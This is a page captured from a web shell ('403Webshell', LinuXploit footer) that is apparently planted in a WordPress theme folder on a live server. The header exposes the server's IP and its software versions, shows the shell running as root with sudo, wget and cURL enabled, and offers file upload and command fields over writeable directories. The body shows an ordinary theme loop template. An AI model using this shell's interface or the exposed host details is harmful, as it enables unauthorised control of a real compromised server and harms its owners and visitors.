403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.216.37
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/php/green-estate-prod/wp-content/themes/spaciaz/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/php/green-estate-prod/wp-content/themes/spaciaz/loop.php
<?php
/**
 * The loop template file.
 *
 * Included on pages like index.php, archive.php and search.php to display a loop of posts
 * Learn more: https://codex.wordpress.org/The_Loop
 *
 * @package spaciaz
 */

do_action('spaciaz_loop_before');

$columns     = spaciaz_get_theme_option('blog_columns');
$blog_style  = spaciaz_get_theme_option('blog_style');
$check_style = $blog_style && $blog_style !== 'standard';

if ($check_style) {
    if($blog_style == 'grid') {
        $blog_style = 'style-1';
    }
    if ($blog_style == 'list') {
        echo '<div class="blog-style-list">';
    } else {
        echo '<div class="blog-style-grid d-grid grid-columns-desktop-' . esc_attr($columns) . ' grid-columns-tablet-2 grid-columns-1">';
    }
}

while (have_posts()) :
    the_post();

    /**
     * Include the Post-Format-specific template for the content.
     * If you want to override this in a child theme, then include a file
     * called content-___.php (where ___ is the Post Format name) and that will be used instead.
     */
    if ($check_style) {
        get_template_part('template-parts/posts-grid/item-post-' . $blog_style);
    } else {
        get_template_part('content', get_post_format());
    }

endwhile;

if ($check_style) {
    echo '</div>';
}

/**
 * Functions hooked in to spaciaz_loop_after action
 *
 * @see spaciaz_paging_nav - 10
 */
do_action('spaciaz_loop_after');

Youez - 2016 - github.com/yon3zu
LinuXploit